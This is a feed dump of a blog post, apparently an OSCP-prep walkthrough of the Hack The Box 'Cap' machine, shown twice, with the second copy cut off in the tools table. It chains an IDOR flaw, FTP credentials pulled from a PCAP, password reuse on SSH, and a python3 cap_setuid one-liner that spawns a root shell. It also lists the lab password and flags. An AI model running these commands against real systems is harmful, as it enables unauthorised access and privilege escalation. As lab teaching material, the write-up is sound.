nmap &lt;span class="nt"&gt;-p-&lt;/span&gt; &lt;span class="nt"&gt;--min-rate&lt;/span&gt; 10000 &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap_allports.txt 10.129.12.255
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three ports open:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;21/tcp&lt;/td&gt;
&lt;td&gt;FTP (vsftpd 3.0.3)&lt;/td&gt;
&lt;td&gt;Anonymous login disabled&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;SSH (OpenSSH 8.2p1)&lt;/td&gt;
&lt;td&gt;Target once we have credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80/tcp&lt;/td&gt;
&lt;td&gt;HTTP (Gunicorn)&lt;/td&gt;
&lt;td&gt;Python WSGI app — main attack surface&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;FTP with anonymous login disabled means nothing to do there without credentials. SSH is a waiting room. The web app is where we start.&lt;/p&gt;




&lt;h2&gt;
  
  
  Enumeration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Web App
&lt;/h3&gt;

&lt;p&gt;Port 80 serves what calls itself a &lt;strong&gt;"Security Dashboard"&lt;/strong&gt; — ironic, given what we're about to do to it. It has three sections: IP Config, Network Status, and a &lt;code&gt;/capture&lt;/code&gt; endpoint that runs a 5-second live packet capture on the server.&lt;/p&gt;

&lt;p&gt;The capture flow works like this:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Browse to &lt;code&gt;/capture&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The server captures 5 seconds of network traffic, saves it to disk&lt;/li&gt;
&lt;li&gt;Redirects you to &lt;code&gt;/data/&amp;lt;id&amp;gt;&lt;/code&gt; — where &lt;code&gt;&amp;lt;id&amp;gt;&lt;/code&gt; is a sequential integer starting at 1&lt;/li&gt;
&lt;li&gt;File is downloadable at &lt;code&gt;/download/&amp;lt;id&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Two things jump out immediately:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First:&lt;/strong&gt; The nav bar shows the logged-in username — &lt;code&gt;nathan&lt;/code&gt;. Free username, no brute force required.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Second:&lt;/strong&gt; Sequential integer IDs on a resource endpoint with no visible access control. That's IDOR waiting to be tested.&lt;/p&gt;

&lt;h3&gt;
  
  
  Testing for IDOR
&lt;/h3&gt;

&lt;p&gt;After triggering a capture, the app redirects to &lt;code&gt;/data/1&lt;/code&gt;. The obvious question: what's at &lt;code&gt;/data/0&lt;/code&gt;?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://10.129.12.255/data/0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It returns a valid page with a download link for &lt;code&gt;/download/0&lt;/code&gt;. No authentication error. No ownership check. Just... the file.&lt;/p&gt;

&lt;p&gt;This is a capture from the box's own setup — created before any player connected, containing real traffic from the server's initialization. We can download it freely because the app never checks whether the resource belongs to the requesting user.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;IDOR in the real world:&lt;/strong&gt; Insecure Direct Object References show up constantly in bug bounties and internal assessments. The pattern is always the same — a resource ID in a URL, no server-side ownership validation. The fix is always the same too: check on the server that the authenticated user owns the object they're requesting. Never trust the client to only ask for what they're allowed to see.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Foothold
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Cracking Open the PCAP
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget http://10.129.12.255/download/0 &lt;span class="nt"&gt;-O&lt;/span&gt; capture0.pcap
tcpdump &lt;span class="nt"&gt;-r&lt;/span&gt; capture0.pcap &lt;span class="nt"&gt;-A&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A5&lt;/span&gt; &lt;span class="s2"&gt;"USER&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;PASS"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inside the PCAP is an FTP session. FTP sends everything in plaintext over TCP — the handshake, the commands, the credentials. All of it. The capture caught the server authenticating to its own FTP service during setup:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;USER nathan
PASS Buck3tH4TF0RM3!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Credentials recovered without touching a wordlist or running a single exploit.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why FTP is still dangerous:&lt;/strong&gt; FTP has existed since 1971 and has never had transport encryption. Every byte — including your username and password — travels as readable ASCII. SFTP and FTPS exist precisely because of this. In internal network assessments, being on the same network segment as FTP traffic, or finding a PCAP that captured it, is frequently enough to gain initial access. If you're doing an internal pentest and you see port 21 open on a server, start sniffing.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  SSH as Nathan
&lt;/h3&gt;

&lt;p&gt;Password reuse. The FTP credentials work directly on SSH:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh nathan@10.129.12.255
&lt;span class="c"&gt;# Password: Buck3tH4TF0RM3!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shell as &lt;code&gt;nathan&lt;/code&gt;. User flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;user.txt: ea34748abba367e85ac0aec4f9932bad
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Privilege Escalation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Enumeration
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt; — nothing. No SUID binaries worth pursuing. Time to check &lt;strong&gt;Linux capabilities&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;getcap &lt;span class="nt"&gt;-r&lt;/span&gt; / 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There it is.&lt;/p&gt;

&lt;h3&gt;
  
  
  Understanding cap_setuid
&lt;/h3&gt;

&lt;p&gt;Linux capabilities are a deliberate design choice — they allow granting specific privileges to a process without making it fully root. The idea is fine-grained access control: give a web server the ability to bind to port 80 (&lt;code&gt;cap_net_bind_service&lt;/code&gt;) without giving it full administrative access.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cap_setuid&lt;/code&gt; lets a process call &lt;code&gt;setuid()&lt;/code&gt; to &lt;strong&gt;change its effective user ID to any UID on the system — including UID 0, which is root&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;When this capability is attached to an interpreter like Python, it means anyone who can run that interpreter can invoke &lt;code&gt;setuid(0)&lt;/code&gt; from inside a script. No password. No sudo. No exploit. The OS hands you root because the binary is marked as allowed to ask for it.&lt;/p&gt;

&lt;p&gt;This is documented on &lt;a href="https://gtfobins.github.io/gtfobins/python/#capabilities" rel="noopener noreferrer"&gt;GTFOBins&lt;/a&gt; and comes up regularly in CTFs and real assessments. Admins sometimes set capabilities thinking it's a safer alternative to sudo — but &lt;code&gt;cap_setuid&lt;/code&gt; on any general-purpose interpreter is functionally equivalent to unrestricted root access.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exploitation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import os; os.setuid(0); os.system('/bin/bash')"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Breaking it down:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;os.setuid(0)&lt;/code&gt; — changes the process's UID to 0 (root), permitted because &lt;code&gt;cap_setuid&lt;/code&gt; is set on &lt;code&gt;/usr/bin/python3.8&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;os.system('/bin/bash')&lt;/code&gt; — spawns a bash shell that inherits the root UID&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Root shell. Instant.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root.txt: 3a0175a10c1007605d6b3813fb2cb37b
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Full Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap
  └─ port 80 (Gunicorn web app)
       └─ /capture → IDOR on /data/0
            └─ download PCAP
                 └─ tcpdump → FTP creds (plaintext)
                      └─ ssh as nathan (password reuse)
                           └─ getcap -r /
                                └─ cap_setuid on python3.8
                                     └─ setuid(0) → root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Always fuzz sequential IDs.&lt;/strong&gt;&lt;br&gt;
When you see &lt;code&gt;/data/1&lt;/code&gt; or &lt;code&gt;/item/42&lt;/code&gt; in a URL, the first thing you test is &lt;code&gt;/data/0&lt;/code&gt;, &lt;code&gt;/data/2&lt;/code&gt;, and IDs belonging to other users. If the app doesn't enforce ownership server-side, you have IDOR. This is one of the highest-yield, lowest-effort checks in web app testing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. FTP is a credential gift.&lt;/strong&gt;&lt;br&gt;
Anonymous login disabled doesn't mean FTP is useless. If you can capture traffic (via a PCAP, MITM position, or a misconfigured network tap), FTP credentials come out in plaintext. Always check port 21 on internal assessments and look for PCAPs anywhere on the filesystem.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Password reuse is the rule, not the exception.&lt;/strong&gt;&lt;br&gt;
One set of leaked credentials should always be tried on every other service: SSH, RDP, VPN, admin panels. Nathan's FTP password working on SSH is cliché in CTFs because it's realistic. Password reuse is endemic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. &lt;code&gt;getcap -r /&lt;/code&gt; belongs on your privesc checklist.&lt;/strong&gt;&lt;br&gt;
Run it right after &lt;code&gt;sudo -l&lt;/code&gt;. &lt;code&gt;cap_setuid&lt;/code&gt; on any interpreter (Python, Perl, Ruby, Node) is root. GTFOBins has one-liners for all of them.&lt;/p&gt;




&lt;h2&gt;
  
  
  Tools Used
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nmap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Port scan and service fingerprinting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;curl&lt;/code&gt; / browser&lt;/td&gt;
&lt;td&gt;Web app enumeration, IDOR testing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wget&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Download the vulnerable PCAP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tcpdump&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Parse PCAP and extract plaintext FTP credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ssh&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Initial access with recovered credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;getcap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Identify Linux capability misconfigurations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;python3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Exploit &lt;code&gt;cap_setuid&lt;/code&gt; for root shell&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gtfobins.github.io/gtfobins/python/#capabilities" rel="noopener noreferrer"&gt;GTFOBins — Python capabilities&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for-Insecure_Direct_Object_References" rel="noopener noreferrer"&gt;OWASP — IDOR Testing Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://man7.org/linux/man-pages/man7/capabilities.7.html" rel="noopener noreferrer"&gt;Linux Capabilities — man7.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://datatracker.ietf.org/doc/html/rfc959" rel="noopener noreferrer"&gt;FTP Protocol — RFC 959&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;I'm working through HTB machines as part of my OSCP prep. Follow along for writeups, notes, and lessons learned — one machine at a time.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Target: OSCP by early 2027. Current: building the reps.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>htb</category>
      <category>oscp</category>
      <category>ctf</category>
      <category>linux</category>
    </item>
    <item>
      <title>HTB Cap — IDOR, Plaintext FTP Creds, and the Danger of Linux Capabilities</title>
      <dc:creator>greenbladesec</dc:creator>
      <pubDate>Sun, 28 Jun 2026 01:14:09 +0000</pubDate>
      <link>https://dev.to/greenbladesec/htb-cap-idor-plaintext-ftp-creds-and-the-danger-of-linux-capabilities-1fm1</link>
      <guid>https://dev.to/greenbladesec/htb-cap-idor-plaintext-ftp-creds-and-the-danger-of-linux-capabilities-1fm1</guid>
      <description>&lt;p&gt;&lt;strong&gt;Hack The Box | Easy | Linux | Retired&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;If you're new to Hack The Box or prepping for OSCP, Cap is the box you want to do early. Not because it's flashy — it isn't. No exotic CVEs, no complex buffer overflows. Just three fundamental misconfigurations chained together cleanly:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;An &lt;strong&gt;IDOR vulnerability&lt;/strong&gt; on a web app storing network captures with sequential, predictable IDs&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Plaintext FTP credentials&lt;/strong&gt; leaking inside a packet capture&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;Linux capability misconfiguration&lt;/strong&gt; (&lt;code&gt;cap_setuid&lt;/code&gt; on Python) that gives instant root&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These aren't niche CTF tricks. IDOR is in the OWASP Top 10. FTP is still running on production networks in 2026. Linux capabilities are regularly misconfigured. Cap teaches you to recognize all three.&lt;/p&gt;




&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;Start with nmap — always.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap_services.txt 10.129.12.255
nmap &lt;span class="nt"&gt;-p-&lt;/span&gt; &lt;span class="nt"&gt;--min-rate&lt;/span&gt; 10000 &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap_allports.txt 10.129.12.255
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three ports open:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;21/tcp&lt;/td&gt;
&lt;td&gt;FTP (vsftpd 3.0.3)&lt;/td&gt;
&lt;td&gt;Anonymous login disabled&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;SSH (OpenSSH 8.2p1)&lt;/td&gt;
&lt;td&gt;Target once we have credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80/tcp&lt;/td&gt;
&lt;td&gt;HTTP (Gunicorn)&lt;/td&gt;
&lt;td&gt;Python WSGI app — main attack surface&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;FTP with anonymous login disabled means nothing to do there without credentials. SSH is a waiting room. The web app is where we start.&lt;/p&gt;




&lt;h2&gt;
  
  
  Enumeration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Web App
&lt;/h3&gt;

&lt;p&gt;Port 80 serves what calls itself a &lt;strong&gt;"Security Dashboard"&lt;/strong&gt; — ironic, given what we're about to do to it. It has three sections: IP Config, Network Status, and a &lt;code&gt;/capture&lt;/code&gt; endpoint that runs a 5-second live packet capture on the server.&lt;/p&gt;

&lt;p&gt;The capture flow works like this:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Browse to &lt;code&gt;/capture&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The server captures 5 seconds of network traffic, saves it to disk&lt;/li&gt;
&lt;li&gt;Redirects you to &lt;code&gt;/data/&amp;lt;id&amp;gt;&lt;/code&gt; — where &lt;code&gt;&amp;lt;id&amp;gt;&lt;/code&gt; is a sequential integer starting at 1&lt;/li&gt;
&lt;li&gt;File is downloadable at &lt;code&gt;/download/&amp;lt;id&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Two things jump out immediately:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First:&lt;/strong&gt; The nav bar shows the logged-in username — &lt;code&gt;nathan&lt;/code&gt;. Free username, no brute force required.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Second:&lt;/strong&gt; Sequential integer IDs on a resource endpoint with no visible access control. That's IDOR waiting to be tested.&lt;/p&gt;

&lt;h3&gt;
  
  
  Testing for IDOR
&lt;/h3&gt;

&lt;p&gt;After triggering a capture, the app redirects to &lt;code&gt;/data/1&lt;/code&gt;. The obvious question: what's at &lt;code&gt;/data/0&lt;/code&gt;?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://10.129.12.255/data/0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It returns a valid page with a download link for &lt;code&gt;/download/0&lt;/code&gt;. No authentication error. No ownership check. Just... the file.&lt;/p&gt;

&lt;p&gt;This is a capture from the box's own setup — created before any player connected, containing real traffic from the server's initialization. We can download it freely because the app never checks whether the resource belongs to the requesting user.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;IDOR in the real world:&lt;/strong&gt; Insecure Direct Object References show up constantly in bug bounties and internal assessments. The pattern is always the same — a resource ID in a URL, no server-side ownership validation. The fix is always the same too: check on the server that the authenticated user owns the object they're requesting. Never trust the client to only ask for what they're allowed to see.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Foothold
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Cracking Open the PCAP
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget http://10.129.12.255/download/0 &lt;span class="nt"&gt;-O&lt;/span&gt; capture0.pcap
tcpdump &lt;span class="nt"&gt;-r&lt;/span&gt; capture0.pcap &lt;span class="nt"&gt;-A&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A5&lt;/span&gt; &lt;span class="s2"&gt;"USER&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;PASS"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inside the PCAP is an FTP session. FTP sends everything in plaintext over TCP — the handshake, the commands, the credentials. All of it. The capture caught the server authenticating to its own FTP service during setup:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;USER nathan
PASS Buck3tH4TF0RM3!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Credentials recovered without touching a wordlist or running a single exploit.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why FTP is still dangerous:&lt;/strong&gt; FTP has existed since 1971 and has never had transport encryption. Every byte — including your username and password — travels as readable ASCII. SFTP and FTPS exist precisely because of this. In internal network assessments, being on the same network segment as FTP traffic, or finding a PCAP that captured it, is frequently enough to gain initial access. If you're doing an internal pentest and you see port 21 open on a server, start sniffing.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  SSH as Nathan
&lt;/h3&gt;

&lt;p&gt;Password reuse. The FTP credentials work directly on SSH:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh nathan@10.129.12.255
&lt;span class="c"&gt;# Password: Buck3tH4TF0RM3!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shell as &lt;code&gt;nathan&lt;/code&gt;. User flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;user.txt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ea34748abba367e85ac0aec4f9932bad&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Privilege Escalation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Enumeration
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt; — nothing. No SUID binaries worth pursuing. Time to check &lt;strong&gt;Linux capabilities&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;getcap &lt;span class="nt"&gt;-r&lt;/span&gt; / 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There it is.&lt;/p&gt;

&lt;h3&gt;
  
  
  Understanding cap_setuid
&lt;/h3&gt;

&lt;p&gt;Linux capabilities are a deliberate design choice — they allow granting specific privileges to a process without making it fully root. The idea is fine-grained access control: give a web server the ability to bind to port 80 (&lt;code&gt;cap_net_bind_service&lt;/code&gt;) without giving it full administrative access.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cap_setuid&lt;/code&gt; lets a process call &lt;code&gt;setuid()&lt;/code&gt; to &lt;strong&gt;change its effective user ID to any UID on the system — including UID 0, which is root&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;When this capability is attached to an interpreter like Python, it means anyone who can run that interpreter can invoke &lt;code&gt;setuid(0)&lt;/code&gt; from inside a script. No password. No sudo. No exploit. The OS hands you root because the binary is marked as allowed to ask for it.&lt;/p&gt;

&lt;p&gt;This is documented on &lt;a href="https://gtfobins.github.io/gtfobins/python/#capabilities" rel="noopener noreferrer"&gt;GTFOBins&lt;/a&gt; and comes up regularly in CTFs and real assessments. Admins sometimes set capabilities thinking it's a safer alternative to sudo — but &lt;code&gt;cap_setuid&lt;/code&gt; on any general-purpose interpreter is functionally equivalent to unrestricted root access.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exploitation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import os; os.setuid(0); os.system('/bin/bash')"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Breaking it down:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;os.setuid(0)&lt;/code&gt; — changes the process's UID to 0 (root), permitted because &lt;code&gt;cap_setuid&lt;/code&gt; is set on &lt;code&gt;/usr/bin/python3.8&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;os.system('/bin/bash')&lt;/code&gt; — spawns a bash shell that inherits the root UID&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Root shell. Instant.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;root.txt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;3a0175a10c1007605d6b3813fb2cb37b&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Full Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap
  └─ port 80 (Gunicorn web app)
       └─ /capture → IDOR on /data/0
            └─ download PCAP
                 └─ tcpdump → FTP creds (plaintext)
                      └─ ssh as nathan (password reuse)
                           └─ getcap -r /
                                └─ cap_setuid on python3.8
                                     └─ setuid(0) → root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Always fuzz sequential IDs.&lt;/strong&gt;&lt;br&gt;
When you see &lt;code&gt;/data/1&lt;/code&gt; or &lt;code&gt;/item/42&lt;/code&gt; in a URL, the first thing you test is &lt;code&gt;/data/0&lt;/code&gt;, &lt;code&gt;/data/2&lt;/code&gt;, and IDs belonging to other users. If the app doesn't enforce ownership server-side, you have IDOR. This is one of the highest-yield, lowest-effort checks in web app testing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. FTP is a credential gift.&lt;/strong&gt;&lt;br&gt;
Anonymous login disabled doesn't mean FTP is useless. If you can capture traffic (via a PCAP, MITM position, or a misconfigured network tap), FTP credentials come out in plaintext. Always check port 21 on internal assessments and look for PCAPs anywhere on the filesystem.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Password reuse is the rule, not the exception.&lt;/strong&gt;&lt;br&gt;
One set of leaked credentials should always be tried on every other service: SSH, RDP, VPN, admin panels. Nathan's FTP password working on SSH is cliché in CTFs because it's realistic. Password reuse is endemic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. &lt;code&gt;getcap -r /&lt;/code&gt; belongs on your privesc checklist.&lt;/strong&gt;&lt;br&gt;
Run it right after &lt;code&gt;sudo -l&lt;/code&gt;. &lt;code&gt;cap_setuid&lt;/code&gt; on any interpreter (Python, Perl, Ruby, Node) is root. GTFOBins has one-liners for all of them.&lt;/p&gt;




&lt;h2&gt;
  
  
  Tools Used
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nmap&lt;/code&gt;&lt;/td&gt;
